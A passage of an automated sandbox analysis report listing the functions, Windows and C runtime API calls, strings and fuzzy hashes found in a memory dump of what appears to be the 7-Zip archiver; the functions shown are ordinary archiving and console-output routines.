Instruction Fuzzy Hash: F901A72270474081DA30DB22E98537D5361BBC77F4F584320EA6D837A9DF28CA869701

Function 00C7056F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C70574
free.MSVCRT ref: 00C70598
free.MSVCRT ref: 00C705A1
free.MSVCRT ref: 00C705AA
free.MSVCRT ref: 00C705B5
free.MSVCRT ref: 00C72D73

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4cc3be562f800f66c890074482ac147a4380dffb5d2304e0dd1a317519950c51
Instruction ID: b30fae6fa4ba5d93979a2740d38699c8002b643a80202c1d57e3179875ce19bf
Opcode Fuzzy Hash: 4cc3be562f800f66c890074482ac147a4380dffb5d2304e0dd1a317519950c51
Instruction Fuzzy Hash: DEF03A6325698482CA15FE32E46262E5350BBC7FA1F806462AF0E13311CE38C887E304

Function 00C4EC90 Relevance: 7.5, APIs: 6, Instructions: 19COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C4EC9D
free.MSVCRT ref: 00C4ECA6
free.MSVCRT ref: 00C4ECAF
free.MSVCRT ref: 00C4ECB8
free.MSVCRT ref: 00C4ECC1
free.MSVCRT ref: 00C4ECCA

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 76439c2ae6d2279247935120ce8afe15d695928ca0b2e8dcd2c70b0a6abef4e1
Instruction ID: 75d82fd42cf9d79950b56287bc08756145415920a92112dbd48637431d745f8c
Opcode Fuzzy Hash: 76439c2ae6d2279247935120ce8afe15d695928ca0b2e8dcd2c70b0a6abef4e1
Instruction Fuzzy Hash: 5DE0F56261048481CB14FF76DCA302C23A4FFD5FA87542051BF2E8B325CD20CCD2A384

Function 00C824B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 110COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C825EC
fputs.MSVCRT ref: 00C82636

Part of subcall function 00C8B1C8: memset.MSVCRT ref: 00C8B20D
Part of subcall function 00C8B1C8: fputs.MSVCRT ref: 00C8B232

Strings

Name, xrefs: 00C82612
Size, xrefs: 00C825A3

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$freememset
String ID: Name$Size
API String ID: 2276422817-481755742
Opcode ID: eadf18be6b312c5b5e1de07ee489d0b3ab3b1ff87b37fbe43ef131a6c7ee7c31
Instruction ID: 2a3daad054ddf776e72a13164f87bdaf425339a08b10de5702292e0982fe5ee0
Opcode Fuzzy Hash: eadf18be6b312c5b5e1de07ee489d0b3ab3b1ff87b37fbe43ef131a6c7ee7c31
Instruction Fuzzy Hash: 7C41D472214684A2DB26EF34E4597DE6730F754B5CF885222AF6E43265DF78CA46C304

Function 00C8BD5C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C8BDCD
fputs.MSVCRT ref: 00C8BE0B

Part of subcall function 00C8B1C8: memset.MSVCRT ref: 00C8B20D
Part of subcall function 00C8B1C8: fputs.MSVCRT ref: 00C8B232

Strings

: Removing files after including to archive, xrefs: 00C8BDC6
Removing, xrefs: 00C8BDDB, 00C8BEA5

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$memset
String ID: : Removing files after including to archive$Removing
API String ID: 3543874852-1218467041
Opcode ID: f313436687fa66b8265a09a25303336257e01bcf81b9bc681d1f23b01fb39c8c
Instruction ID: 3418f120553ba7beae0b5e2d71e685f9c9579feb93f017a7899940a97c52082d
Opcode Fuzzy Hash: f313436687fa66b8265a09a25303336257e01bcf81b9bc681d1f23b01fb39c8c
Instruction Fuzzy Hash: 00319262600A8196DF79EB35E4853EE6320E740748F489132DBAF46265DF7CE9CAD304

Function 00C8C47C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C8C4FD
fputs.MSVCRT ref: 00C8C50D
free.MSVCRT ref: 00C8C553

Part of subcall function 00C8B1C8: memset.MSVCRT ref: 00C8B20D
Part of subcall function 00C8B1C8: fputs.MSVCRT ref: 00C8B232

Strings

: , xrefs: 00C8C506

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$freememset
String ID: :
API String ID: 2276422817-3653984579
Opcode ID: 2d51f8118dbba9063f6913f1af84da5abfe4bad0c8c255e5030384decc0f2edb
Instruction ID: 5ee02c1ee76faee6d4d499581652b09f78c81ee606a3c7bea848f35d8cb9be4b
Opcode Fuzzy Hash: 2d51f8118dbba9063f6913f1af84da5abfe4bad0c8c255e5030384decc0f2edb
Instruction Fuzzy Hash: 59118412340A4151DA28FB25D85536D6320FB85BE8F484231FF2E477A6DF38D955A354

Function 00C8B864 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C8B8EB
free.MSVCRT ref: 00C8B90A

Part of subcall function 00C8B1C8: memset.MSVCRT ref: 00C8B20D
Part of subcall function 00C8B1C8: fputs.MSVCRT ref: 00C8B232

Strings

ERROR: , xrefs: 00C8B8DA
WARNING: , xrefs: 00C8B8D3

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$freememset
String ID: ERROR: $WARNING:
API String ID: 2276422817-2114518728
Opcode ID: 8e3bba8349f46928f641cc6bcc1daefcf3e0a2bdec40cb1967d92b4bec262380
Instruction ID: 4fc1d62106cc10339fc9293f2fe9b7855e9acb5b0fb048a7bdb8e29988138e05
Opcode Fuzzy Hash: 8e3bba8349f46928f641cc6bcc1daefcf3e0a2bdec40cb1967d92b4bec262380
Instruction Fuzzy Hash: 6B118612301E8181DA24EF22E8567AE6320B785BE8F884221FF6F173A5DF3CD885D304

Function 00C810C4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00C810EB
fputs.MSVCRT ref: 00C81153
LeaveCriticalSection.KERNEL32 ref: 00C8118D

Strings

ERROR: , xrefs: 00C8114C

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: CriticalSection$EnterLeavefputs
String ID: ERROR:
API String ID: 4171338575-977468659
Opcode ID: be048cf6878443a2184a7b989802cb390b223653ec2da76719a795addb1c1f7a
Instruction ID: c4df56a2a70622c71794324630a22dca6876e3b8ba01eb8838c8c0081ce0e521
Opcode Fuzzy Hash: be048cf6878443a2184a7b989802cb390b223653ec2da76719a795addb1c1f7a
Instruction Fuzzy Hash: B511B23234198485EB15EF25EC55BAC2365BB86BACF5C8331EE2E0B6A4CF388446C314

Function 00C8BB9C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C8BC6C
free.MSVCRT ref: 00C8BC78

Part of subcall function 00C8B1C8: memset.MSVCRT ref: 00C8B20D
Part of subcall function 00C8B1C8: fputs.MSVCRT ref: 00C8B232

Strings

Archive size: , xrefs: 00C8BC29
Files read from disk, xrefs: 00C8BBEE

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$freememset
String ID: Archive size: $Files read from disk
API String ID: 2276422817-3736835528
Opcode ID: 2efab2b554c4f96bbbe87714b73d16ad6655604f82f8fcc69e920b2b3405c337
Instruction ID: efc22e4b095c27f01f0fc5fbbdd47a6a06e28bda94686582b6ce6af7722a3db1
Opcode Fuzzy Hash: 2efab2b554c4f96bbbe87714b73d16ad6655604f82f8fcc69e920b2b3405c337
Instruction Fuzzy Hash: AF112E6220494191DA20FF24D8A639D6730FBD47A8FC45722FA5E476B9DF28C68AD700

Function 00C42974 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50COMMON

Download Yara Rule

Strings

z, xrefs: 00C429C0
a, xrefs: 00C429BA

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID:
String ID: a$z
API String ID: 0-4151050625
Opcode ID: 79b007a773469842fcff8db7cb0bfa3ab41b08846dae76e5ae68771568f84890
Instruction ID: 2fa66593606bb770debf4264df73cd919f93854d648639b22ff2aea63a73054e
Opcode Fuzzy Hash: 79b007a773469842fcff8db7cb0bfa3ab41b08846dae76e5ae68771568f84890
Instruction Fuzzy Hash: 12018116F1105A85EB307B12A8563F8A652B735B92FCD8133AE9907350D5194AD2E315

Function 00C4AD0C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00C4AD1C
GetProcAddress.KERNEL32 ref: 00C4AD37

Strings

ntdll.dll, xrefs: 00C4AD15
RtlGetVersion, xrefs: 00C4AD2D

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RtlGetVersion$ntdll.dll
API String ID: 1646373207-1489217083
Opcode ID: 4b5a8e6a765e93aad0567a887158774fb9c1889fb27dd6c52aa472cf121c010a
Instruction ID: 61b342b155adb31da8e4183e82f33b42fe0b359228f6db96fb0c412f7230dd81
Opcode Fuzzy Hash: 4b5a8e6a765e93aad0567a887158774fb9c1889fb27dd6c52aa472cf121c010a
Instruction Fuzzy Hash: ADF0C236B9050487EB30DB21F4847A863A0F788316F944539E65B42A64DB3CDA89CB09

Function 00C8BAAC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C8BACF
fputs.MSVCRT ref: 00C8BAFC

Part of subcall function 00C42320: free.MSVCRT ref: 00C4237E
Part of subcall function 00C42320: fputs.MSVCRT ref: 00C423B8
Part of subcall function 00C42320: free.MSVCRT ref: 00C423C4

Strings

StdOut, xrefs: 00C8BAF2
Open archive: , xrefs: 00C8BAC8

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$free
String ID: Open archive: $StdOut
API String ID: 3873070119-2401103298
Opcode ID: ce59a64c16b32fbdc4fabaafe929a8674e998fc0354dffc2ed294dc1c66bfb13
Instruction ID: a2d1fd23dd405fa264f63da5c58abf9553884f25378f93383d6fe06ddd025402
Opcode Fuzzy Hash: ce59a64c16b32fbdc4fabaafe929a8674e998fc0354dffc2ed294dc1c66bfb13
Instruction Fuzzy Hash: D3F0FEA5301D8581DE059F26D98976D6331FB44FD8F58D532DD1E4B328DF28C89AC314

Function 00C82344 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C82375
fputs.MSVCRT ref: 00C82383

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

Strings

, xrefs: 00C8235E
:, xrefs: 00C82359

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$fputc
String ID: $:
API String ID: 1185151155-4041779174
Opcode ID: 158b50a13c805fd8231fb2a9988c9be95edbaf40012f3606b1facd01aece21a3
Instruction ID: cbd9937fc90ed01ab480c849ef48de09621a3a1def81aee4fce762ea7f8dfebd
Opcode Fuzzy Hash: 158b50a13c805fd8231fb2a9988c9be95edbaf40012f3606b1facd01aece21a3
Instruction Fuzzy Hash: DBE06D96304A8081DB119B26E85435D6321FB9AFCCF488122EE8E07729DE2CC149C711

Function 00C8D4C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00C8D4CB
GetProcAddress.KERNEL32 ref: 00C8D4DB

Strings

kernel32.dll, xrefs: 00C8D4C4
GetLargePageMinimum, xrefs: 00C8D4D1

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetLargePageMinimum$kernel32.dll
API String ID: 1646373207-2515562745
Opcode ID: 9cafdcdec884bdbcba65c699ecbd7ef866ca1a9750535094873ebbbe4fc89029
Instruction ID: bda8e4dc38a474530c732be05c1ebd29bfe8530082c7b28ee6816bb58d97c141
Opcode Fuzzy Hash: 9cafdcdec884bdbcba65c699ecbd7ef866ca1a9750535094873ebbbe4fc89029
Instruction Fuzzy Hash: CBE0BF64752B0591FE05DB55FC9576823A0BB85718F944629C51F42360EF3CD656C308

Function 00C771BC Relevance: 6.5, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C7734A
free.MSVCRT ref: 00C77355
GetLastError.KERNEL32 ref: 00C773AC
free.MSVCRT ref: 00C773B9
free.MSVCRT ref: 00C773C4

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ErrorLast
String ID:
API String ID: 408039514-0
Opcode ID: d7c40869ad587d79d1a4cde6791f56a7827730960875fe2f1716f54cae6806b2
Instruction ID: b9d0ed635677daf23950b4ec70da113ff9d39e4a55d548b39eb47cbf38366863
Opcode Fuzzy Hash: d7c40869ad587d79d1a4cde6791f56a7827730960875fe2f1716f54cae6806b2
Instruction Fuzzy Hash: 12817B72319A4482CB24DF26D44075EB7B1F788BA4F548225EFAE47B68EF38C955CB00

Function 00C54210 Relevance: 6.4, APIs: 5, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 735d4e83ff881ba3abcc4a6c9aa5d61f64a5c4c51b6bddb4a0ec876fb6e64911
Instruction ID: 7c000f97586313393c62a94c679f7b5e8a9e138598b13e065f05d3498dee34d5
Opcode Fuzzy Hash: 735d4e83ff881ba3abcc4a6c9aa5d61f64a5c4c51b6bddb4a0ec876fb6e64911
Instruction Fuzzy Hash: CC41191B31578096CB28DE22D80126D77A0FB85BE9F485211FFAD07B69DF28C9C9D704

Function 00C74C2C Relevance: 6.4, APIs: 5, Instructions: 114COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C74C6F
memmove.MSVCRT ref: 00C74D71
free.MSVCRT ref: 00C74D8E
free.MSVCRT ref: 00C74DA3
free.MSVCRT ref: 00C74DB1

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 2d6c9dfe1155a16f3a068d7370a8ec758800c3918b65cbcdfef43df97f9f1dc5
Instruction ID: 5d7771c41a51b19664db63bf0c155980af7281036c74b32886f4d88f4e61d9d1
Opcode Fuzzy Hash: 2d6c9dfe1155a16f3a068d7370a8ec758800c3918b65cbcdfef43df97f9f1dc5
Instruction Fuzzy Hash: 7B41F7272082C085C731DA25E48015FAFA1F3D67A8F584215FBEA07B99C77EC599DB11

Function 00C7F4AC Relevance: 6.3, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C7F5BC
free.MSVCRT ref: 00C7F5D3
free.MSVCRT ref: 00C7F5DE

Part of subcall function 00C4383C: memmove.MSVCRT ref: 00C43877

free.MSVCRT ref: 00C7F5EF
free.MSVCRT ref: 00C7F5FA

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ErrorLastmemmove
String ID:
API String ID: 3561842085-0
Opcode ID: 835e30b8a2ce9afd242e3c27a4bd6d2521a716217a04de116505d45ba31023b0
Instruction ID: a5844ab28eb9220c83363ed84093f505d4cedfc2cd6d808bfd09519e40c1f728
Opcode Fuzzy Hash: 835e30b8a2ce9afd242e3c27a4bd6d2521a716217a04de116505d45ba31023b0
Instruction Fuzzy Hash: 98318472214A4182CB60DF24E49165E7370FBD9BA4F946225FBAE477A8DF38C58AC700

Function 00C4EF70 Relevance: 6.3, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C4EFBF
free.MSVCRT ref: 00C4EFC8
free.MSVCRT ref: 00C4EFD0
memmove.MSVCRT ref: 00C4F00D
free.MSVCRT ref: 00C4F015

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 9a39179057fc4b698db1469c34720306d33abb4d3d1416dbc86e8f68b6a95521
Instruction ID: 6a5adf33a888ad06ebcd8ee6ced081cb830cf2264bb37f060062ff4eac86ceac
Opcode Fuzzy Hash: 9a39179057fc4b698db1469c34720306d33abb4d3d1416dbc86e8f68b6a95521
Instruction Fuzzy Hash: FB21AE6271178486DA10EF56E98562D7360FB84BE4B488139AF3A07795DF34D962C300

Function 00C4C790 Relevance: 6.3, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00C4C7BB
memcmp.MSVCRT ref: 00C4C7D6
memcmp.MSVCRT ref: 00C4C7EC

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 712599938bbeffd81504be00bb0ea2eb8721062aa4075a36f0ea6c542d0c478b
Instruction ID: 9d0a850a7d0bba5da91c28864e8cd83e3293af77245acedb815bb15b26a085f3
Opcode Fuzzy Hash: 712599938bbeffd81504be00bb0ea2eb8721062aa4075a36f0ea6c542d0c478b
Instruction Fuzzy Hash: A711C6B230574191FB449F2798953A82315E709FD4F859021CE0547396FF38CA55E308

Function 00C43BE4 Relevance: 6.3, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF), ref: 00C43C2A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF), ref: 00C43C36
_CxxThrowException.MSVCRT ref: 00C43C54
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF), ref: 00C43C80
_CxxThrowException.MSVCRT ref: 00C43C9E

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ByteCharExceptionMultiThrowWide$ErrorLast
String ID:
